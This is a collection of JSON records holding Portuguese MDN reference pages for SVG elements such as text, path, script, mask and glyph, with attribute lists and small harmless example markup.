HTML"}
{"title":"hkern - SVG: Gráficos Vetoriais Escaláveis","text":"hkern\n=====\n\nA distância horizontal entre dois glifos podem ser bem ajustados com um elemento `hkern`. Este processo é conhecido como Kerning.\n\nContexto de uso\n---------------\n\n|  |  |\n| --- | --- |\n| Categorias | Elemento de fonte |\n| Conteúdo permitido | Vazio |\n\nAtributos\n---------\n\n### Atributos globais\n\n* Atributos principais »\n### Atributos específicos\n\n* `u1 (en-US)`\n* `g1 (en-US)`\n* `u2 (en-US)`\n* `g2 (en-US)`\n* `k (en-US)`\nInterface DOM\n-------------\n\nEste elemento implementa a interface do `SVGHKernElement`.\n\nRelacionado\n-----------\n\n* `<font>` (en-US)\n* `<glyph>`\n* `<vkern>`\n* Tutorial SVG: SVG fonts"}
{"title":"glyphRef - SVG: Gráficos Vetoriais Escaláveis","text":"glyphRef\n========\n\nO elemento `glyphRef` fornece um único glifo possível referenciando a substituição do `<altGlyph>`.\n\nContexto de uso\n---------------\n\n|  |  |\n| --- | --- |\n| Categorias | Elemento de conteúdo textual |\n| Conteúdo permitido | Vazio |\n\nAtributos\n---------\n\n### Atributos globais\n\n* Atributos principais »\n* Atributos de apresentação »\n* Atributos XLink »\n* `class`\n* `style`\n### Atributos específicos\n\n* `x (en-US)`\n* `y (en-US)`\n* `dx (en-US)`\n* `dy (en-US)`\n* `glyphRef`\n* `format`\n* `xlink:href (en-US)`\nInterface DOM\n-------------\n\nEste elemento implementa a interface do `SVGGlyphRefElement`.\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* `<altGlyph>`\n\nsv"}
{"title":"vkern - SVG: Gráficos Vetoriais Escaláveis","text":"vkern\n=====\n\nA distância vertical entre dois glifos de fontes cima-para-baixo podem ser bem otimizadas com um elemento `vkern`. Esse processo é conhecido como Kerning.\n\nContexto de uso\n---------------\n\n|  |  |\n| --- | --- |\n| Categorias | Elemento de fonte |\n| Conteúdo permitido | Vazio |\n\nExemplo\n-------\n\nAtributos\n---------\n\n### Atributos globais\n\n* Atributos principais »\n### Atributos específicos\n\n* `u1 (en-US)`\n* `g1 (en-US)`\n* `u2 (en-US)`\n* `g2 (en-US)`\n* `k (en-US)`\nInterface DOM\n-------------\n\nEste elemento implementa a interface do `SVGVKernElement`.\n\nVeja também\n-----------\n\n* `<font>` (en-US)\n* `<glyph>`\n* `<hkern>`\n* Tutorial SVG: SVG fonts"}
{"title":"view - SVG: Gráficos Vetoriais Escaláveis","text":"view\n====\n\nUma **`view`** é uma maneira definida de visualizar a imagem, como um nível de zoom ou uma visualização de detalhes.\n\nUsage context\n-------------\n\n|  |  |\n| --- | --- |\n| Categorias | Nenhum |\n| Conteúdo permitido | Qualquer número dos seguintes elementos, em qualquer ordem:Elementos descritivos |\n\nAttributes\n----------\n\n### Global attributes\n\n* Aria attributes »\n* Core attributes »\n* Global event attributes »\n* `externalResourcesRequired`\n### Specific attributes\n\n* `viewBox (en-US)`\n* `preserveAspectRatio`\n* `zoomAndPan (en-US)`\n* `viewTarget`\nExample\n-------\n\n### SVG\n\n\n```html\n<svg\n width=\"600\"\n height=\"200\"\n viewBox=\"0 0 600 200\"\n xmlns=\"https://www.w3.org/2000/svg\"\n xmlns:xlink=\"https://www.w3.org/1999/xlink\">\n  <defs>\n    <radialGradient id=\"gradient\">\n      <stop offset=\"0%\" stop-color=\"#8cffa0\" />\n      <stop offset=\"100%\" stop-color=\"#8ca0ff\" />\n    </radialGradient>\n  </defs>\n\n  <circle r=\"50\" cx=\"180\" cy=\"50\" style=\"fill:url(#gradient)\" />\n\n  <view id=\"halfSizeView\" viewBox=\"0 0 1200 400\" />\n  <view id=\"normalSizeView\" viewBox=\"0 0 600 200\" />\n  <view id=\"doubleSizeView\" viewBox=\"0 0 300 100\" />\n\n  <a xlink:href=\"#halfSizeView\">\n    <text x=\"5\" y=\"20\" font-size=\"20\">half size</text>\n  </a>\n  <a xlink:href=\"#normalSizeView\">\n    <text x=\"5\" y=\"40\" font-size=\"20\">normal size</text>\n  </a>\n  <a xlink:href=\"#doubleSizeView\">\n    <text x=\"5\" y=\"60\" font-size=\"20\">double size</text>\n  </a>\n</svg>\n```\n\n### Result\n\nDOM Interface\n-------------\n\nThis element implements the `SVGViewElement` (en-US) interface.\n\nSpecifications\n--------------\n\n| Specification |\n| --- |\n| Scalable Vector Graphics (SVG) 2 # ViewElement |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data."}
{"title":"mask - SVG: Gráficos Vetoriais Escaláveis","text":"mask\n====\n\nNo SVG, você pode especificar que quaisquer outros objetos gráficos ou elementos `<g>` podem ser utilizados com uma máscar de alfa para a composição do objeto atual para o fundo. A mask is defined with the `mask` element. A máscara é usada/referenciada usando a propriedade `mask (en-US)`.\n\nContexto de uso\n---------------\n\n|  |  |\n| --- | --- |\n| Categorias | Elemento recipiente |\n| Conteúdo permitido | Qualquer número dos seguintes elementos, em qualquer ordem:Elementos de animaçãoElementos descritivosElementos de formaElementos estruturaisElementos de gradiente`<a>`, `<clipPath>` (en-US), `<color-profile>`, `<cursor>` (en-US), `<filter>`, `<font>` (en-US), `<font-face>` (en-US), `<foreignObject>` (en-US), `<image>`, `<marker>`, `<mask>`, `<pattern>`, `<script>`, `<style>`, `<switch>`, `<text>`, `<view>` |\n\nExemplo\n-------\n\n» mask.svg\n\nAtributos\n---------\n\n### Atributos globais\n\n* Atributos de processamento condicional »\n* Atributos principais »\n* Atributos de apresentação »\n* `class`\n* `style`\n* `externalResourcesRequired`\n### Atributos específicos\n\n* `maskUnits (en-US)`\n* `maskContentUnits (en-US)`\n* `x (en-US)`\n* `y (en-US)`\n* `width`\n* `height (en-US)`\nInterface DOM\n-------------\n\nEste elemento implementa a interface do `SVGMaskElement`.\n\nVeja também\n-----------\n\n* `<clipPath>` (en-US)"}
{"title":"desc - SVG: Gráficos Vetoriais Escaláveis","text":"desc\n====\n\nCada elemento container ou elementos gráficos em um desenho SVG podem fornecer uma `desc`, string de descrição onde esta é somente textual. Quando o fragmento do documento SVG é renderizado como um SVG em uma mídia visual, elementos `desc` não são renderizados como parte da visualização gráfica. Alterne as exibições quando possível, tanto visual e auditiva, escolha a exibição do elemento `desc` mas não a exibição dos elementos `path` ou outros elementos gráficos. O elemento `desc` geralmente melhora a acessibilidade do documentos SVG.\n\nContexto de utilização\n----------------------\n\n|  |  |\n| --- | --- |\n| Categorias | Elemento descritivo |\n| Conteúdo permitido | Quaisquer elementos ou dados de caracteres |\n\nExemplo\n-------\n\nAtributos\n---------\n\n### Atributos globais\n\n* Atributos centrais »\n* `class`\n* `style`\n### Atributos específicos\n\n*Não existe especificação de atributos.*\n\nInterface DOM\n-------------\n\nEste elemento implementa a interface `SVGDescElement`.\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* `<title>`"}
{"title":"text - SVG: Gráficos Vetoriais Escaláveis","text":"text\n====\n\nO elemento SVG **`<text>`** desenha um elemento gráfico que consiste em texto. É possível aplicar um gradiente, pattern, clipping path, máscara ou filtro ao `<text>`, como qualquer outro elemento gráfico SVG.\n\nIf text is included in SVG not inside of a `<text>` element, it is not rendered. This is different than being hidden by default, as setting the `display (en-US)` property won't show the text.\n```\n\nhtml,\nbody,\nsvg {\n  height: 100%;\n}\n```\n\n\n\n```html\n<svg viewBox=\"0 0 240 80\" xmlns=\"https://www.w3.org/2000/svg\">\n  <style>\n .small {\n font: italic 13px sans-serif;\n }\n .heavy {\n font: bold 30px sans-serif;\n }\n\n /\\* Note that the color of the text is set with the \\*\n \\* fill property, the color property is for HTML only \\*/\n .Rrrrr {\n font: italic 40px serif;\n fill: red;\n }\n </style>\n\n  <text x=\"20\" y=\"35\" class=\"small\">My</text>\n  <text x=\"40\" y=\"35\" class=\"heavy\">cat</text>\n  <text x=\"55\" y=\"55\" class=\"small\">is</text>\n  <text x=\"65\" y=\"55\" class=\"Rrrrr\">Grumpy!</text>\n</svg>\n```\n\nAttributes\n----------\n\n`x (en-US)`\n\n The x coordinate of the starting point of the text baseline.\n *Value type*: **<length>**|**<percentage>** ; *Default value*: `0`; *Animatable*: **yes**\n\n`y (en-US)`\n\n The y coordinate of the starting point of the text baseline.\n *Value type*: **<length>**|**<percentage>** ; *Default value*: `0`; *Animatable*: **yes**\n\n`dx (en-US)`\n\n Shifts the text position horizontally from a previous text element.\n *Value type*: **<length>**|**<percentage>** ; *Default value*: *none*; *Animatable*: **yes**\n\n`dy (en-US)`\n\n Shifts the text position vertically from a previous text element.\n *Value type*: **<length>**|**<percentage>** ; *Default value*: *none*; *Animatable*: **yes**\n\n`rotate (en-US)`\n\n Rotates orientation of each individual glyph. Can rotate glyphs individually.\n *Value type*: **<list-of-number>** ; *Default value*: none; *Animatable*: **yes**\n\n`lengthAdjust (en-US)`\n\n How the text is stretched or compressed to fit the width defined by the `textLength` attribute.\n *Value type*: `spacing`|`spacingAndGlyphs`; *Default value*: `spacing`; *Animatable*: **yes**\n\n`textLength (en-US)`\n\n A width that the text should be scaled to fit.\n *Value type*: **<length>**|**<percentage>** ; *Default value*: *none*; *Animatable*: **yes**\n\n### Global attributes\n\nCore Attributes\n\nMost notably: `id (en-US)`, `tabindex (en-US)`\n\nStyling Attributes\n`class`, `style`\nConditional Processing Attributes\n\nMost notably: `requiredExtensions`, `systemLanguage (en-US)`\n\nEvent Attributes\n\nGlobal event attributes, Graphical event attributes\n\nPresentation Attributes\n\nMost notably: `clip-path (en-US)`, `clip-rule (en-US)`, `color (en-US)`, `color-interpolation (en-US)`, `color-rendering`, `cursor (en-US)`, `display (en-US)`, `dominant-baseline (en-US)`, `fill`, `fill-opacity (en-US)`, `fill-rule (en-US)`, `filter (en-US)`, `mask (en-US)`, `opacity (en-US)`, `pointer-events (en-US)`, `shape-rendering (en-US)`, `stroke (en-US)`, `stroke-dasharray (en-US)`, `stroke-dashoffset`, `stroke-linecap (en-US)`, `stroke-linejoin (en-US)`, `stroke-miterlimit (en-US)`, `stroke-opacity (en-US)`, `stroke-width (en-US)`, `text-anchor (en-US)`, `transform (en-US)`, `vector-effect (en-US)`, `visibility (en-US)`\n\nAria Attributes\n\n`aria-activedescendant`, `aria-atomic`, `aria-autocomplete`, `aria-busy`, `aria-checked`, `aria-colcount`, `aria-colindex`, `aria-colspan`, `aria-controls`, `aria-current`, `aria-describedby`, `aria-details`, `aria-disabled`, `aria-dropeffect`, `aria-errormessage`, `aria-expanded`, `aria-flowto`, `aria-grabbed`, `aria-haspopup`, `aria-hidden`, `aria-invalid`, `aria-keyshortcuts`, `aria-label`, `aria-labelledby`, `aria-level`, `aria-live`, `aria-modal`, `aria-multiline`, `aria-multiselectable`, `aria-orientation`, `aria-owns`, `aria-placeholder`, `aria-posinset`, `aria-pressed`, `aria-readonly`, `aria-relevant`, `aria-required`, `aria-roledescription`, `aria-rowcount`, `aria-rowindex`, `aria-rowspan`, `aria-selected`, `aria-setsize`, `aria-sort`, `aria-valuemax`, `aria-valuemin`, `aria-valuenow`, `aria-valuetext`, `role`\n\nUsage notes\n-----------\n\n|  |  |\n| --- | --- |\n| Categorias | Elemento gráfico, Elemento de conteúdo textual |\n| Conteúdo permitido | Dados de caracteres e qualquer número dos seguintes elementos, em qualquer ordem:Elementos de animaçãoElementos descritivosElementos filhos de conteúdo de texto`<a>` |\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| Scalable Vector Graphics (SVG) 2 # TextElement |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nRelated\n-------\n\n* Other SVG text related elements: **`<tspan>`**, `<tref>`, `<altGlyph>`"}
{"title":"metadata - SVG: Gráficos Vetoriais Escaláveis","text":"metadata\n========\n\nMetadados são dados estruturados sobre dados. Metadados que são incluídos com um conteúdo SVG devem ser especificados com um elemento `metadata`. O conteúdo do `metadata` devem ser elementos de outros namespaces XML tais como RDF, FOAF, etc.\n\nContexto de uso\n---------------\n\n|  |  |\n| --- | --- |\n| Categorias | Elemento descritivo |\n| Conteúdo permitido | Quaisquer elementos ou dados de caracteres |\n\nExemplo\n-------\n\nAtributos\n---------\n\n### Atributos globais\n\n* Atributos principais »\n### Atributos específicos\n\n*Não existem atributos específicos.*\n\nInterface DOM\n-------------\n\nEste elemento implementa a interface do `SVGMetadataElement`.\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data."}
{"title":"tref - SVG: Gráficos Vetoriais Escaláveis","text":"tref\n====\n\nO conteúdo textual para o `<text>` podem ser dados de caracteres diretamente embedados com o elemento `<text>` ou o conteúdo de dados de caracteres de um elemento referenciado, onde a referência é especificada com um elemento `tref`.\n\nContexto de uso\n---------------\n\n|  |  |\n| --- | --- |\n| Categorias | Elemento de conteúdo textual, Elemento filho de conteúdo textual |\n| Conteúdo permitido | Qualquer número dos seguintes elementos, em qualquer ordem:Elementos descritivos`<animate>`, `<set>` |\n\nExemplo\n-------\n\n\n```xml\n<svg width=\"100%\" height=\"100%\" viewBox=\"0 0 1000 300\"\n xmlns=\"https://www.w3.org/2000/svg\"\n xmlns:xlink=\"https://www.w3.org/1999/xlink\">\n  <defs>\n    <text id=\"ReferencedText\">\n      Referenced character data\n    </text>\n  </defs>\n\n  <text x=\"100\" y=\"100\" font-size=\"45\" >\n    Inline character data\n  </text>\n\n  <text x=\"100\" y=\"200\" font-size=\"45\" fill=\"red\" >\n    <tref xlink:href=\"#ReferencedText\"/>\n  </text>\n\n  <!-- Show outline of canvas using 'rect' element -->\n  <rect x=\"1\" y=\"1\" width=\"998\" height=\"298\"\n fill=\"none\" stroke-width=\"2\" />\n</svg>\n```\n\nAtributos\n---------\n\n### Atributos globais\n\n* Atributos de processamento condicional »\n* Atributos principais »\n* Atributos de eventos gráficos »\n* Atributos de apresentação »\n* Atributos XLink »\n* `class`\n* `style`\n* `externalResourcesRequired`\n### Atributos específicos\n\n* `xlink:href (en-US)`\nInterface DOM\n-------------\n\nEste elemento implementa a interface do `SVGTRefElement`.\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* `<text>`"}
{"title":"switch - SVG: Gráficos Vetoriais Escaláveis","text":"switch\n======\n\nO elemento `switch` avalia os atributos `requiredFeatures (en-US)`, `requiredExtensions` e o `systemLanguage (en-US)` diretamente nos seus elementos filhos em ordem e, em seguida, processa e renderiza o primeiro filho que possua este atributo definido como verdadeiro. Todos os outros serão ignorados e, portanto, não renderizados. Se o elemento filho é um elemento recipiente como o `<g>`, então toda a subárvore será ou processada/renderizada ou ignorada/não renderizada.\n\nObserve que os valores das propriedades `display` e `visibility` não possuem efeitos sob o processamento do elemento `switch`. Em particular, definindo `display` como `none` em um filho de um elemento `switch` não possuirá efeito sob o teste de verdadeiro/falso associado com o processamento de um elemento `switch`.\n\nContexto de uso\n---------------\n\n|  |  |\n| --- | --- |\n| Categorias | Elemento recipiente |\n| Conteúdo permitido | Qualquer número dos seguintes elementos, em qualquer ordem:Elementos de animaçãoElementos descritivosElementos de forma`<a>`, `<foreignObject>` (en-US), `<g>`, `<image>`, `<svg>`, `<switch>`, `<text>`, `<use>` |\n\nExemplo\n-------\n\nAtributos\n---------\n\n### Atributos globais\n\n* Atributos de processamento condicional »\n* Atributos principais »\n* Atributos de eventos gráficos »\n* Atributos de apresentação »\n* `class`\n* `style`\n* `externalResourcesRequired`\n* `transform (en-US)`\n### Atributos específicos\n\n* `allowReorder`\nInterface DOM\n-------------\n\nEste elemento implementa a interface do `SVGSwitchElement`.\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data."}
{"title":"path - SVG: Gráficos Vetoriais Escaláveis","text":"path\n====\n\n**Primeiros passos (en-US)**\n Este tutorial irá te ajudar a utilizar caminhos no SVG.\nResumo\n------\n\nO elemento `path` é um elemento genérico para definir uma forma. Todas as formas básicas poderão ser criadas com elemento de caminho.\n\nContexto de uso\n---------------\n\n|  |  |\n| --- | --- |\n| Categorias | Elemento gráfico, Elemento de forma |\n| Conteúdo permitido | Qualquer número dos seguintes elementos, em qualquer ordem:Elementos de animaçãoElementos descritivos |\n\nExemplo\n-------\n\n\n```html\n<svg\n width=\"100%\"\n height=\"100%\"\n viewBox=\"0 0 400 400\"\n xmlns=\"https://www.w3.org/2000/svg\">\n  <path\n d=\"M 100 100 L 300 100 L 200 300 z\"\n fill=\"orange\"\n stroke=\"black\"\n stroke-width=\"3\" />\n</svg>\n```\n\n\nResultado:\n\nAtributos\n---------\n\n### Atributos globais\n\n* Atributos de processamento condicional (en-US) »\n* Atributos centraiss (en-US) »\n* Atributos de evento gráfico (en-US) »\n* Atributos de apresentação (en-US) »\n* `class`\n* `style`\n* `externalResourcesRequired`\n* `transform (en-US)`\n### Atributos específicos\n\n* `d (en-US)`\n* `pathLength (en-US)`\nInterface DOM\n-------------\n\nEste elemento implementa a interace do `SVGPathElement` (en-US).\n\nCompatibilidade dos navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* `<circle>`\n* `<ellipse>`\n* `<line>`\n* `<polygon>`\n* `<polyline>`\n* `<rect>`\n* O tutorial sobre SVG \"Primeiros passos\" na MDN: Path (en-US)"}
{"title":"script - SVG: Gráficos Vetoriais Escaláveis","text":"script\n======\n\nUm elemento `script` é equivalente a um elemento `script` em HTML e, portanto, é o lugar para os scripts (por exemplo, ECMAScript).\n\nQuaisquer funções definidas dentro de qualquer elemento `script` tem um escopo global em todo o documento atual.\n\nContexto de uso\n---------------\n\n|  |  |\n| --- | --- |\n| Categorias | Nenhum |\n| Conteúdo permitido | Quaisquer elementos ou dados de caracteres |\n\nExemplo\n-------\n\nO seguinte trecho de código demonstra o uso da tag `script` do SVG. Neste código, nós usamos o JavaScript para alterar o raio do elemento SVG `<circle>`.\n\n\n```html\n<svg\n width=\"100%\"\n height=\"100%\"\n viewBox=\"0 0 100 100\"\n xmlns=\"https://www.w3.org/2000/svg\">\n  <script type=\"text/javascript\">\n // <![CDATA[\n function change(evt) {\n var target = evt.target;\n var radius = target.getAttribute(\"r\");\n\n if (radius == 15) {\n radius = 45;\n } else {\n radius = 15;\n }\n\n target.setAttribute(\"r\", radius);\n }\n // ]]>\n </script>\n\n  <circle cx=\"50\" cy=\"50\" r=\"45\" fill=\"green\" onclick=\"change(evt)\" />\n</svg>\n```\n\n\nResultado:\n\nAtributos\n---------\n\n### Atributos globais\n\n* Atributos principais »\n* Atributos XLink »\n* `externalResourcesRequired`\n### Atributos específicos\n\n* `type (en-US)`\n* `xlink:href (en-US)`\nDOM interface\n-------------\n\nEste elemento implementa a interface do `SVGScriptElement`.\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* Elemento `script` em HTML"}
{"title":"circle - SVG: Gráficos Vetoriais Escaláveis","text":"circle\n======\n\nO elemento `circle` é uma forma básica do SVG, utilizada para criar círculos baseado em um ponto central e um raio.\n\nContexto de uso\n---------------\n\n|  |  |\n| --- | --- |\n| Categorias | Elemento básico de forma, Elemento gráfico, Elemento de forma |\n| Conteúdo permitido | Qualquer número dos seguintes elementos, em qualquer ordem:Elementos de animaçãoElementos descritivos |\n\nExemplo\n-------\n\n\n```xml\n<?xml version=\"1.0\"?>\n<svg viewBox=\"0 0 120 120\" version=\"1.1\"\n xmlns=\"https://www.w3.org/2000/svg\">\n  <circle cx=\"60\" cy=\"60\" r=\"50\"/>\n</svg>\n```\n\n\n» circle.svg\n\nAtributos\n---------\n\n### Atributos globais\n\n* Atributos de processamento condicional »\n* Atributos principais »\n* Atributos de eventos gráficos »\n* Atributos de apresentação »\n* `class`\n* `style`\n* `externalResourcesRequired`\n* `transform (en-US)`\n### Atributos específicos\n\n* `cx (en-US)`\n* `cy (en-US)`\n* `r (en-US)`\nInterface DOM\n-------------\n\nEste elemento implementa a interface do `SVGCircleElement` (en-US) interface.\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nRelacionado\n-----------\n\n* `<ellipse>`"}
{"title":"linearGradient - SVG: Gráficos Vetoriais Escaláveis","text":"linearGradient\n==============\n\nO elemento `linearGradient` permite que os autores definam gradientes lineares para preenchimento (fill) ou contornos (stroke) de elementos gráficos.\n\nUsage context\n-------------\n\n|  |  |\n| --- | --- |\n| Categorias | Elemento gradiente |\n| Conteúdo permitido | Qualquer número dos seguintes elementos, em qualquer ordem:Elementos descritivos`<animate>`, `<animateTransform>`, `<set>`, `<stop>` |\n\nExample\n-------\n\n» linearGradient.svg\n\nAtributos\n---------\n\n### Atributos globais\n\n* Atributos centrais »\n* Atributos de apresentação »\n* Atributos Xlink »\n* `class`\n* `style`\n* `externalResourcesRequired`\n### Atributos específicos\n\n* `gradientUnits (en-US)`\n* `gradientTransform (en-US)`\n* `x1 (en-US)`\n* `y1 (en-US)`\n* `x2 (en-US)`\n* `y2 (en-US)`\n* `spreadMethod (en-US)`\n* `xlink:href (en-US)`\nInterface DOM\n-------------\n\nEste elemento implementa a interface `SVGLinearGradientElement`.\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* `<radialGradient>`\n* `<stop>`"}
{"title":"title - SVG: Gráficos Vetoriais Escaláveis","text":"title\n=====\n\nCada elemento recipiente ou elemento gráfico em um desenho SVG pode fornecer uma descrição de `title`, onde esta descrição é de apenas texto. Quando o atual fragmento do documento SVG é renderizado em aparelhos audiovisuais, o elemento `title` não é renderizado como parte do gráfico. Entretanto, alguns agentes de usuários poderão, por exemplo, exibir o elemento `title` como uma dica. Apresentações alternativas são possíveis, tanto visual quanto auditiva, que exibem o elemento `title` mas não mostram o elemento `path` ou outros elementos gráficos. O elemento `title` geralmente aumenta a acessibilidade de documentos SVG.\n\nGeralmente o elemento `title` deve ser o primeiro elemento filho de seu pai. Observe que estas implementações que utilizam o `title` para exibir uma dica, muitas vezes só o farão se o `title` for o primeiro elemento filho de seu pai.\n\nContexto de uso\n---------------\n\n|  |  |\n| --- | --- |\n| Categorias | Elemento descritivo |\n| Conteúdo permitido | Quaisquer elementos ou dados de caracteres |\n\nExemplo\n-------\n\nO seguinte trecho de código demonstra a utilização da tag SVG `<title>`.\n\n\n```xml\n<svg width=\"500\" height=\"300\" xmlns=\"https://www.w3.org/2000/svg\">\n  <g>\n    <title>Exemplo Demonstrativo de Título SVG</title>\n    <rect x=\"10\" y=\"10\" width=\"200\" height=\"50\"\n style=\"fill:none; stroke:blue; stroke-width:1px\"/>\n  </g>\n</svg>\n```\n\nAtributos\n---------\n\n### Atributos globais\n\n* Atributos principais »\n* `class`\n* `style`\n### Atributos específicos\n\n*Não existem atributos específicos.*\n\nInterface DOM\n-------------\n\nEste elemento implementa a interface do `SVGTitleElement`.\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* `<desc>`"}
{"title":"glyph - SVG: Gráficos Vetoriais Escaláveis","text":"glyph\n=====\n\nO `glyph` determina um único glifo em uma fonte SVG.\n\nContexto de uso\n---------------\n\n|  |  |\n| --- | --- |\n| Categorias | Elemento de conteúdo textual |\n| Conteúdo permitido | Qualquer número dos seguintes elementos, em qualquer ordem:Elementos de animaçãoElementos descritivosElementos de formaElementos estruturaisElementos de gradiente`<a>`, `<clipPath>` (en-US), `<color-profile>`, `<cursor>` (en-US), `<filter>`, `<font>` (en-US), `<font-face>` (en-US), `<foreignObject>` (en-US), `<image>`, `<marker>`, `<mask>`, `<pattern>`, `<script>`, `<style>`, `<switch>`, `<text>`, `<view>` |\n\nExemplo\n-------\n\n\n```xml\n<?xml version=\"1.0\" standalone=\"yes\"?>\n<svg width=\"400px\" height=\"300px\" version=\"1.1\"\n xmlns = 'https://www.w3.org/2000/svg'>\n<!-- Exemplo copiado de https://www.w3.org/TR/SVG/fonts.html#GlyphElement -->\n  <defs>\n\n    <font id=\"Font1\" horiz-adv-x=\"1000\">\n      <font-face font-family=\"Super Sans\" font-weight=\"bold\" font-style=\"normal\"\n units-per-em=\"1000\" cap-height=\"600\" x-height=\"400\"\n ascent=\"700\" descent=\"300\"\n alphabetic=\"0\" mathematical=\"350\" ideographic=\"400\" hanging=\"500\">\n        <font-face-src>\n          <font-face-name name=\"Super Sans Bold\"/>\n        </font-face-src>\n      </font-face>\n\n      <missing-glyph><path d=\"M0,0h200v200h-200z\"/></missing-glyph>\n      <glyph unicode=\"!\" horiz-adv-x=\"80\" d=\"M0,0h200v200h-200z\"></glyph>\n      <glyph unicode=\"@\" d=\"M0,50l100,300l400,100z\"></glyph>\n\n    </font>\n  </defs>\n  <text x=\"100\" y=\"100\"\n style=\"font-family: 'Super Sans', Helvetica, sans-serif;\n font-weight: bold; font-style: normal\">Texto utilizando fonte embed@da!</text>\n</svg>\n```\n\nAtributos\n---------\n\n### Atributos globais\n\n* Atributos principais »\n* Atributos de apresentação »\n* `class`\n* `style`\n### Atributos específicos\n\n* `d (en-US)`\n* `horiz-adv-x (en-US)`\n* `vert-origin-x (en-US)`\n* `vert-origin-y (en-US)`\n* `vert-adv-y (en-US)`\n* `unicode (en-US)`\n* `glyph-name (en-US)`\n* `orientation (en-US)`\n* `arabic-form (en-US)`\n* `lang (en-US)`\nInterface DOM\n-------------\n\nEste elemento implementa a interface do `SVGGlyphElement`.\n\nRelacionado\n-----------\n\n* `<font>` (en-US)\n* `<missing-glyph>`\n* Tutorial SVG: SVG fonts"}
{"title":"g - SVG: Gráficos Vetoriais Escaláveis","text":"g\n=\n\nO elemento `g` é um recipiente utilizado para agrupar objetos. Transformações aplicadas no elemento `g` são repassadas para todos os seus elementos filhos. Atributos também são herdados por elementos filhos. Além disso, pode ser utilizado para definir objetos complexos que poderão ser referenciados mais tarde pelo elemento `<use>`.\n\nContexto de uso\n---------------\n\n|  |  |\n| --- | --- |\n| Categorias | Elemento recipiente, elemento estrutural |\n| Conteúdo permitido | Qualquer número dos seguintes elementos, em qualquer ordem:Elementos de animaçãoElementos descritivosElementos de formaElementos estruturaisElementos de gradiente`<a>`, `<clipPath>` (en-US), `<color-profile>`, `<cursor>` (en-US), `<filter>`, `<font>` (en-US), `<font-face>` (en-US), `<foreignObject>` (en-US), `<image>`, `<marker>`, `<mask>`, `<pattern>`, `<script>`, `<style>`, `<switch>`, `<text>`, `<view>` |\n\nExemplo\n-------\n\n\n```html\n<svg\n width=\"100%\"\n height=\"100%\"\n viewBox=\"0 0 95 50\"\n xmlns=\"https://www.w3.org/2000/svg\">\n  <g stroke=\"green\" fill=\"white\" stroke-width=\"5\">\n    <circle cx=\"25\" cy=\"25\" r=\"15\" />\n    <circle cx=\"40\" cy=\"25\" r=\"15\" />\n    <circle cx=\"55\" cy=\"25\" r=\"15\" />\n    <circle cx=\"70\" cy=\"25\" r=\"15\" />\n  </g>\n</svg>\n```\n\nAtributos\n---------\n\n### Atributos globais\n\n* Atributos de processamento condicional (en-US) »\n* Atributos principais (en-US) »\n* Atributos de eventos gráficos (en-US) »\n* Atributos de apresentação (en-US) »\n* `class`\n* `style`\n* `externalResourcesRequired`\n* `transform (en-US)`\n### Atributos específicos\n\n*There is no specific attributes.*\n\nInterface DOM\n-------------\n\nEste elemento implementa a interface do `SVGGElement` (en-US).\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data."}
{"title":"polyline - SVG: Gráficos Vetoriais Escaláveis","text":"polyline\n========\n\nO elemento `polyline` é uma forma básica do SVG, utilizado para criar uma séries de linhas retas conectando vários pontos. Tipicamente um `polyline` é usado para criar formas abertas.\n\nContexto de uso\n---------------\n\n|  |  |\n| --- | --- |\n| Categorias | Elemento básico de forma, Elemento gráfico, Elemento de forma |\n| Conteúdo permitido | Qualquer número dos seguintes elementos, em qualquer ordem:Elementos de animaçãoElementos descritivos |\n\nExemplo\n-------\n\n» polyline.svg\n\nAtributos\n---------\n\n### Atributos globais\n\n* Atributos de processamento condicional »\n* Atributos principais »\n* Atributos de eventos gráficos »\n* Atributos de apresentação »\n* `class`\n* `style`\n* `externalResourcesRequired`\n* `transform (en-US)`\n### Atributos específicos\n\n* `points (en-US)`\nInterface DOM\n-------------\n\nEste elemento implementa a interface do `SVGPolylineElement`.\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* `<line>`\n* `<polygon>`"}
